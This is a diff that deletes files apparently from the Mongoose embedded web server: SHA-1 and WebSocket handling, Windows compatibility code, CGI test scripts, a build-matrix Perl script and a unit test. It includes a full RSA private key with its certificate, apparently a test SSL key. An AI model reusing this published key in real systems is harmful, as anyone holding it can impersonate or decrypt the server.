#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30);
typedef struct {
uint32_t state[5];
uint32_t count[2];
unsigned char buffer[64];
} SHA1_CTX;
static void SHA1Transform(uint32_t state[5], const unsigned char buffer[64]) {
uint32_t a, b, c, d, e;
union char64long16 block[1];
memcpy(block, buffer, 64);
a = state[0];
b = state[1];
c = state[2];
d = state[3];
e = state[4];
R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
state[0] += a;
state[1] += b;
state[2] += c;
state[3] += d;
state[4] += e;
a = b = c = d = e = 0;
memset(block, '\0', sizeof(block));
}
static void SHA1Init(SHA1_CTX* context) {
context->state[0] = 0x67452301;
context->state[1] = 0xEFCDAB89;
context->state[2] = 0x98BADCFE;
context->state[3] = 0x10325476;
context->state[4] = 0xC3D2E1F0;
context->count[0] = context->count[1] = 0;
}
static void SHA1Update(SHA1_CTX* context, const unsigned char* data,
uint32_t len) {
uint32_t i, j;
j = context->count[0];
if ((context->count[0] += len << 3) < j)
context->count[1]++;
context->count[1] += (len>>29);
j = (j >> 3) & 63;
if ((j + len) > 63) {
memcpy(&context->buffer[j], data, (i = 64-j));
SHA1Transform(context->state, context->buffer);
for ( ; i + 63 < len; i += 64) {
SHA1Transform(context->state, &data[i]);
}
j = 0;
}
else i = 0;
memcpy(&context->buffer[j], &data[i], len - i);
}
static void SHA1Final(unsigned char digest[20], SHA1_CTX* context) {
unsigned i;
unsigned char finalcount[8], c;
for (i = 0; i < 8; i++) {
finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)]
>> ((3-(i & 3)) * 8) ) & 255);
}
c = 0200;
SHA1Update(context, &c, 1);
while ((context->count[0] & 504) != 448) {
c = 0000;
SHA1Update(context, &c, 1);
}
SHA1Update(context, finalcount, 8);
for (i = 0; i < 20; i++) {
digest[i] = (unsigned char)
((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255);
}
memset(context, '\0', sizeof(*context));
memset(&finalcount, '\0', sizeof(finalcount));
}
// END OF SHA1 CODE
static void base64_encode(const unsigned char *src, int src_len, char *dst) {
static const char *b64 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int i, j, a, b, c;
for (i = j = 0; i < src_len; i += 3) {
a = src[i];
b = i + 1 >= src_len ? 0 : src[i + 1];
c = i + 2 >= src_len ? 0 : src[i + 2];
dst[j++] = b64[a >> 2];
dst[j++] = b64[((a & 3) << 4) | (b >> 4)];
if (i + 1 < src_len) {
dst[j++] = b64[(b & 15) << 2 | (c >> 6)];
}
if (i + 2 < src_len) {
dst[j++] = b64[c & 63];
}
}
while (j % 4 != 0) {
dst[j++] = '=';
}
dst[j++] = '\0';
}
void mg_websocket_handshake(struct mg_connection *conn) {
static const char *magic = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
char buf[100], sha[20], b64_sha[sizeof(sha) * 2];
SHA1_CTX sha_ctx;
mg_snprintf(buf, sizeof(buf), "%s%s",
mg_get_header(conn, "Sec-WebSocket-Key"), magic);
SHA1Init(&sha_ctx);
SHA1Update(&sha_ctx, (unsigned char *) buf, strlen(buf));
SHA1Final((unsigned char *) sha, &sha_ctx);
base64_encode((unsigned char *) sha, sizeof(sha), b64_sha);
mg_printf(conn, "%s%s%s",
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
"Sec-WebSocket-Accept: ", b64_sha, "\r\n\r\n");
}
int mg_websocket_read(struct mg_connection *conn, int *bits, char **data) {
// Pointer to the beginning of the portion of the incoming websocket message
// queue. The original websocket upgrade request is never removed,
// so the queue begins after it.
unsigned char *buf = (unsigned char *) conn->buf + conn->request_len;
int n, stop = 0;
size_t i, len, mask_len, data_len, header_len, body_len;
char mask[4];
assert(conn->content_len == 0);
// Loop continuously, reading messages from the socket, invoking the callback,
// and waiting repeatedly until an error occurs.
while (!stop) {
header_len = 0;
// body_len is the length of the entire queue in bytes
// len is the length of the current message
// data_len is the length of the current message's data payload
// header_len is the length of the current message's header
if ((body_len = conn->data_len - conn->request_len) >= 2) {
len = buf[1] & 127;
mask_len = buf[1] & 128 ? 4 : 0;
if (len < 126 && body_len >= mask_len) {
data_len = len;
header_len = 2 + mask_len;
} else if (len == 126 && body_len >= 4 + mask_len) {
header_len = 4 + mask_len;
data_len = ((((int) buf[2]) << 8) + buf[3]);
} else if (body_len >= 10 + mask_len) {
header_len = 10 + mask_len;
data_len = (((uint64_t) htonl(* (uint32_t *) &buf[2])) << 32) +
htonl(* (uint32_t *) &buf[6]);
}
}
// Data layout is as follows:
// conn->buf buf
// v v frame1 | frame2
// |---------------------|----------------|--------------|-------
// | |<--header_len-->|<--data_len-->|
// |<-conn->request_len->|<-----body_len----------->|
// |<-------------------conn->data_len------------->|
if (header_len > 0) {
// Allocate space to hold websocket payload
if ((*data = malloc(data_len)) == NULL) {
// Allocation failed, exit the loop and then close the connection
// TODO: notify user about the failure
data_len = 0;
break;
}
// Save mask and bits, otherwise it may be clobbered by memmove below
*bits = buf[0];
memcpy(mask, buf + header_len - mask_len, mask_len);
// Read frame payload into the allocated buffer.
assert(body_len >= header_len);
if (data_len + header_len > body_len) {
len = body_len - header_len;
memcpy(*data, buf + header_len, len);
// TODO: handle pull error
pull_all(NULL, conn, *data + len, data_len - len);
conn->data_len = conn->request_len;
} else {
len = data_len + header_len;
memcpy(*data, buf + header_len, data_len);
memmove(buf, buf + len, body_len - len);
conn->data_len -= len;
}
// Apply mask if necessary
if (mask_len > 0) {
for (i = 0; i < data_len; i++) {
(*data)[i] ^= mask[i % 4];
}
}
return data_len;
} else {
// Buffering websocket request
if ((n = pull(NULL, conn, conn->buf + conn->data_len,
conn->buf_size - conn->data_len)) <= 0) {
break;
}
conn->data_len += n;
}
}
return 0;
}
int mg_websocket_write(struct mg_connection* conn, int opcode,
const char *data, size_t data_len) {
unsigned char *copy;
size_t copy_len = 0;
int retval = -1;
if ((copy = (unsigned char *) malloc(data_len + 10)) == NULL) {
return -1;
}
copy[0] = 0x80 + (opcode & 0x0f);
// Frame format: http://tools.ietf.org/html/rfc6455#section-5.2
if (data_len < 126) {
// Inline 7-bit length field
copy[1] = data_len;
memcpy(copy + 2, data, data_len);
copy_len = 2 + data_len;
} else if (data_len <= 0xFFFF) {
// 16-bit length field
copy[1] = 126;
* (uint16_t *) (copy + 2) = htons(data_len);
memcpy(copy + 4, data, data_len);
copy_len = 4 + data_len;
} else {
// 64-bit length field
copy[1] = 127;
* (uint32_t *) (copy + 2) = htonl((uint64_t) data_len >> 32);
* (uint32_t *) (copy + 6) = htonl(data_len & 0xffffffff);
memcpy(copy + 10, data, data_len);
copy_len = 10 + data_len;
}
// Not thread safe
if (copy_len > 0) {
retval = mg_write(conn, copy, copy_len);
}
free(copy);
return retval;
}
#endif // !USE_WEBSOCKET
-373
View File
@@ -1,373 +0,0 @@
#include "internal.h"
#if defined(_WIN32)
static pthread_t pthread_self(void) {
return GetCurrentThreadId();
}
static int pthread_mutex_init(pthread_mutex_t *mutex, void *unused) {
(void) unused;
*mutex = CreateMutex(NULL, FALSE, NULL);
return *mutex == NULL ? -1 : 0;
}
static int pthread_mutex_destroy(pthread_mutex_t *mutex) {
return CloseHandle(*mutex) == 0 ? -1 : 0;
}
static int pthread_mutex_lock(pthread_mutex_t *mutex) {
return WaitForSingleObject(*mutex, INFINITE) == WAIT_OBJECT_0? 0 : -1;
}
static int pthread_mutex_unlock(pthread_mutex_t *mutex) {
return ReleaseMutex(*mutex) == 0 ? -1 : 0;
}
// For Windows, change all slashes to backslashes in path names.
static void change_slashes_to_backslashes(char *path) {
int i;
for (i = 0; path[i] != '\0'; i++) {
if (path[i] == '/')
path[i] = '\\';
// i > 0 check is to preserve UNC paths, like \\server\file.txt
if (path[i] == '\\' && i > 0)
while (path[i + 1] == '\\' || path[i + 1] == '/')
(void) memmove(path + i + 1,
path + i + 2, strlen(path + i + 1));
}
}
// Encode 'path' which is assumed UTF-8 string, into UNICODE string.
// wbuf and wbuf_len is a target buffer and its length.
static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len) {
char buf[PATH_MAX * 2], buf2[PATH_MAX * 2];
mg_strlcpy(buf, path, sizeof(buf));
change_slashes_to_backslashes(buf);
// Convert to Unicode and back. If doubly-converted string does not
// match the original, something is fishy, reject.
memset(wbuf, 0, wbuf_len * sizeof(wchar_t));
MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, (int) wbuf_len);
WideCharToMultiByte(CP_UTF8, 0, wbuf, (int) wbuf_len, buf2, sizeof(buf2),
NULL, NULL);
if (strcmp(buf, buf2) != 0) {
wbuf[0] = L'\0';
}
}
#if defined(_WIN32_WCE)
static time_t time(time_t *ptime) {
time_t t;
SYSTEMTIME st;
FILETIME ft;
GetSystemTime(&st);
SystemTimeToFileTime(&st, &ft);
t = SYS2UNIX_TIME(ft.dwLowDateTime, ft.dwHighDateTime);
if (ptime != NULL) {
*ptime = t;
}
return t;
}
static struct tm *localtime(const time_t *ptime, struct tm *ptm) {
int64_t t = ((int64_t) *ptime) * RATE_DIFF + EPOCH_DIFF;
FILETIME ft, lft;
SYSTEMTIME st;
TIME_ZONE_INFORMATION tzinfo;
if (ptm == NULL) {
return NULL;
}
* (int64_t *) &ft = t;
FileTimeToLocalFileTime(&ft, &lft);
FileTimeToSystemTime(&lft, &st);
ptm->tm_year = st.wYear - 1900;
ptm->tm_mon = st.wMonth - 1;
ptm->tm_wday = st.wDayOfWeek;
ptm->tm_mday = st.wDay;
ptm->tm_hour = st.wHour;
ptm->tm_min = st.wMinute;
ptm->tm_sec = st.wSecond;
ptm->tm_yday = 0; // hope nobody uses this
ptm->tm_isdst =
GetTimeZoneInformation(&tzinfo) == TIME_ZONE_ID_DAYLIGHT ? 1 : 0;
return ptm;
}
static struct tm *gmtime(const time_t *ptime, struct tm *ptm) {
// FIXME(lsm): fix this.
return localtime(ptime, ptm);
}
static size_t strftime(char *dst, size_t dst_size, const char *fmt,
const struct tm *tm) {
(void) snprintf(dst, dst_size, "implement strftime() for WinCE");
return 0;
}
#endif
// Windows happily opens files with some garbage at the end of file name.
// For example, fopen("a.cgi ", "r") on Windows successfully opens
// "a.cgi", despite one would expect an error back.
// This function returns non-0 if path ends with some garbage.
static int path_cannot_disclose_cgi(const char *path) {
static const char *allowed_last_characters = "_-";
int last = path[strlen(path) - 1];
return isalnum(last) || strchr(allowed_last_characters, last) != NULL;
}
static int mg_stat(const char *path, struct file *filep) {
wchar_t wbuf[PATH_MAX] = L"\\\\?\\";
WIN32_FILE_ATTRIBUTE_DATA info;
filep->modification_time = 0;
to_unicode(path, wbuf + 4, ARRAY_SIZE(wbuf) - 4);
if (GetFileAttributesExW(wbuf, GetFileExInfoStandard, &info) != 0) {
filep->size = MAKEUQUAD(info.nFileSizeLow, info.nFileSizeHigh);
filep->modification_time = SYS2UNIX_TIME(
info.ftLastWriteTime.dwLowDateTime,
info.ftLastWriteTime.dwHighDateTime);
filep->is_directory = info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
// If file name is fishy, reset the file structure and return error.
// Note it is important to reset, not just return the error, cause
// functions like is_file_opened() check the struct.
if (!filep->is_directory && !path_cannot_disclose_cgi(path)) {
memset(filep, 0, sizeof(*filep));
}
}
return filep->modification_time != 0;
}
static int mg_remove(const char *path) {
wchar_t wbuf[PATH_MAX];
to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
return DeleteFileW(wbuf) ? 0 : -1;
}
static int mg_mkdir(const char *path, int mode) {
char buf[PATH_MAX];
wchar_t wbuf[PATH_MAX];
(void) mode;
mg_strlcpy(buf, path, sizeof(buf));
change_slashes_to_backslashes(buf);
(void) MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, ARRAY_SIZE(wbuf));
return CreateDirectoryW(wbuf, NULL) ? 0 : -1;
}
// Implementation of POSIX opendir/closedir/readdir for Windows.
static DIR * opendir(const char *name) {
DIR *dir = NULL;
wchar_t wpath[PATH_MAX];
DWORD attrs;
if (name == NULL) {
SetLastError(ERROR_BAD_ARGUMENTS);
} else if ((dir = (DIR *) malloc(sizeof(*dir))) == NULL) {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
} else {
to_unicode(name, wpath, ARRAY_SIZE(wpath));
attrs = GetFileAttributesW(wpath);
if (attrs != 0xFFFFFFFF &&
((attrs & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)) {
(void) wcscat(wpath, L"\\*");
dir->handle = FindFirstFileW(wpath, &dir->info);
dir->result.d_name[0] = '\0';
} else {
free(dir);
dir = NULL;
}
}
return dir;
}
static int closedir(DIR *dir) {
int result = 0;
if (dir != NULL) {
if (dir->handle != INVALID_HANDLE_VALUE)
result = FindClose(dir->handle) ? 0 : -1;
free(dir);
} else {
result = -1;
SetLastError(ERROR_BAD_ARGUMENTS);
}
return result;
}
static struct dirent *readdir(DIR *dir) {
struct dirent *result = 0;
if (dir) {
if (dir->handle != INVALID_HANDLE_VALUE) {
result = &dir->result;
(void) WideCharToMultiByte(CP_UTF8, 0,
dir->info.cFileName, -1, result->d_name,
sizeof(result->d_name), NULL, NULL);
if (!FindNextFileW(dir->handle, &dir->info)) {
(void) FindClose(dir->handle);
dir->handle = INVALID_HANDLE_VALUE;
}
} else {
SetLastError(ERROR_FILE_NOT_FOUND);
}
} else {
SetLastError(ERROR_BAD_ARGUMENTS);
}
return result;
}
#ifndef HAVE_POLL
static int poll(struct pollfd *pfd, int n, int milliseconds) {
struct timeval tv;
fd_set set;
int i, result;
SOCKET maxfd = 0;
tv.tv_sec = milliseconds / 1000;
tv.tv_usec = (milliseconds % 1000) * 1000;
FD_ZERO(&set);
for (i = 0; i < n; i++) {
FD_SET((SOCKET) pfd[i].fd, &set);
pfd[i].revents = 0;
if (pfd[i].fd > maxfd) {
maxfd = pfd[i].fd;
}
}
if ((result = select(maxfd + 1, &set, NULL, NULL, &tv)) > 0) {
for (i = 0; i < n; i++) {
if (FD_ISSET(pfd[i].fd, &set)) {
pfd[i].revents = POLLIN;
}
}
}
return result;
}
#endif // HAVE_POLL
static void set_close_on_exec(SOCKET sock) {
(void) SetHandleInformation((HANDLE) sock, HANDLE_FLAG_INHERIT, 0);
}
int mg_start_thread(mg_thread_func_t f, void *p) {
return (long)_beginthread((void (__cdecl *)(void *)) f, 0, p) == -1L ? -1 : 0;
}
static HANDLE dlopen(const char *dll_name, int flags) {
wchar_t wbuf[PATH_MAX];
(void) flags;
to_unicode(dll_name, wbuf, ARRAY_SIZE(wbuf));
return LoadLibraryW(wbuf);
}
#if !defined(NO_CGI)
#define SIGKILL 0
static int kill(pid_t pid, int sig_num) {
(void) TerminateProcess(pid, sig_num);
(void) CloseHandle(pid);
return 0;
}
static void trim_trailing_whitespaces(char *s) {
char *e = s + strlen(s) - 1;
while (e > s && isspace(* (unsigned char *) e)) {
*e-- = '\0';
}
}
static pid_t spawn_process(struct mg_connection *conn, const char *prog,
char *envblk, char *envp[], int fdin,
int fdout, const char *dir) {
HANDLE me;
char *interp, full_interp[PATH_MAX], full_dir[PATH_MAX],
cmdline[PATH_MAX], buf[PATH_MAX];
FILE *fp;
STARTUPINFOA si;
PROCESS_INFORMATION pi = { 0 };
(void) envp;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
// TODO(lsm): redirect CGI errors to the error log file
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
me = GetCurrentProcess();
DuplicateHandle(me, (HANDLE) _get_osfhandle(fdin), me,
&si.hStdInput, 0, TRUE, DUPLICATE_SAME_ACCESS);
DuplicateHandle(me, (HANDLE) _get_osfhandle(fdout), me,
&si.hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS);
// If CGI file is a script, try to read the interpreter line
interp = conn->ctx->config[CGI_INTERPRETER];
if (interp == NULL) {
buf[0] = buf[1] = '\0';
// Read the first line of the script into the buffer
snprintf(cmdline, sizeof(cmdline), "%s%c%s", dir, '/', prog);
if ((fp = mg_fopen(cmdline, "r")) != NULL) {
fgets(buf, sizeof(buf), fp);
fclose(fp);
buf[sizeof(buf) - 1] = '\0';
}
if (buf[0] == '#' && buf[1] == '!') {
trim_trailing_whitespaces(buf + 2);
} else {
buf[2] = '\0';
}
interp = buf + 2;
}
if (interp[0] != '\0') {
GetFullPathNameA(interp, sizeof(full_interp), full_interp, NULL);
interp = full_interp;
}
GetFullPathNameA(dir, sizeof(full_dir), full_dir, NULL);
mg_snprintf(cmdline, sizeof(cmdline), "%s%s\"%s\\%s\"",
interp, interp[0] == '\0' ? "" : " ", full_dir, prog);
DEBUG_TRACE(("Running [%s]", cmdline));
if (CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
CREATE_NEW_PROCESS_GROUP, envblk, NULL, &si, &pi) == 0) {
cry(conn, "%s: CreateProcess(%s): %ld",
__func__, cmdline, ERRNO);
pi.hProcess = (pid_t) -1;
}
(void) CloseHandle(si.hStdOutput);
(void) CloseHandle(si.hStdInput);
(void) CloseHandle(pi.hThread);
return (pid_t) pi.hProcess;
}
#endif // !NO_CGI
static int set_non_blocking_mode(SOCKET sock) {
unsigned long on = 1;
return ioctlsocket(sock, FIONBIO, &on);
}
#endif
-50
View File
@@ -1,50 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
SEGI4JSxV56lYg==
-----END CERTIFICATE-----
-----BEGIN DH PARAMETERS-----
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
-----END DH PARAMETERS-----
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 17 KiB

-1
View File
@@ -1 +0,0 @@
abc123
-28
View File
@@ -1,28 +0,0 @@
#!/usr/bin/env perl
@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
my $num_flags = @flags;
sub fail {
print "FAILED: @_\n";
exit 1;
}
my $platform = $ARGV[0] || "linux";
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
my @combination = ();
for (my $j = 0; $j < $num_flags; $j++) {
push @combination, $flags[$j] if substr($bitmask, $j, 1);
}
my $defines = join(" ", map { "-D$_" } @combination);
my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
system($cmd) == 0 or fail "build failed: $_";
print "Build succeeded, flags: [$defines]\n";
system("perl test/test.pl basic_tests >/dev/null") == 0
or fail "basic tests";
print "Basic tests: OK\n";
}
print "PASS: All builds passed!\n";
-5
View File
@@ -1,5 +0,0 @@
#!/bin/sh
echo "echoing bad headers: server must report status 500"
exec 1>&2
echo shit!!!
-3
View File
@@ -1,3 +0,0 @@
#!/usr/bin/env perl
print "Status: 302 Please pass me to the client\r\n\r\n";
-3
View File
@@ -1,3 +0,0 @@
#!/usr/bin/env perl
print "Content-Type: text/plain\n\nhello\n";
@@ -1 +0,0 @@
куку!
-182
View File
@@ -1,182 +0,0 @@
// Copyright (c) 2004-2009 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// Unit test for the mongoose web server. Tests embedded API.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef _WIN32
#include <unistd.h>
#endif
#include "mongoose.h"
#if !defined(LISTENING_PORT)
#define LISTENING_PORT "23456"
#endif
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n\r\n";
static void test_get_var(struct mg_connection *conn,
const struct mg_request_info *ri) {
char *var, *buf;
size_t buf_len;
const char *cl;
int var_len;
mg_printf(conn, "%s", standard_reply);
buf_len = 0;
var = buf = NULL;
cl = mg_get_header(conn, "Content-Length");
mg_printf(conn, "cl: %p\n", cl);
if ((!strcmp(ri->request_method, "POST") ||
!strcmp(ri->request_method, "PUT"))
&& cl != NULL) {
buf_len = atoi(cl);
buf = malloc(buf_len);
/* Read in two pieces, to test continuation */
if (buf_len > 2) {
mg_read(conn, buf, 2);
mg_read(conn, buf + 2, buf_len - 2);
} else {
mg_read(conn, buf, buf_len);
}
} else if (ri->query_string != NULL) {
buf_len = strlen(ri->query_string);
buf = malloc(buf_len + 1);
strcpy(buf, ri->query_string);
}
var = malloc(buf_len + 1);
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
mg_printf(conn, "Value: [%s]\n", var);
mg_printf(conn, "Value size: [%d]\n", var_len);
free(buf);
free(var);
}
static void test_get_header(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *value;
int i;
mg_printf(conn, "%s", standard_reply);
printf("HTTP headers: %d\n", ri->num_headers);
for (i = 0; i < ri->num_headers; i++) {
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
}
value = mg_get_header(conn, "Host");
if (value != NULL) {
mg_printf(conn, "Value: [%s]", value);
}
}
static void test_get_request_info(struct mg_connection *conn,
const struct mg_request_info *ri) {
int i;
mg_printf(conn, "%s", standard_reply);
mg_printf(conn, "Method: [%s]\n", ri->request_method);
mg_printf(conn, "URI: [%s]\n", ri->uri);
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
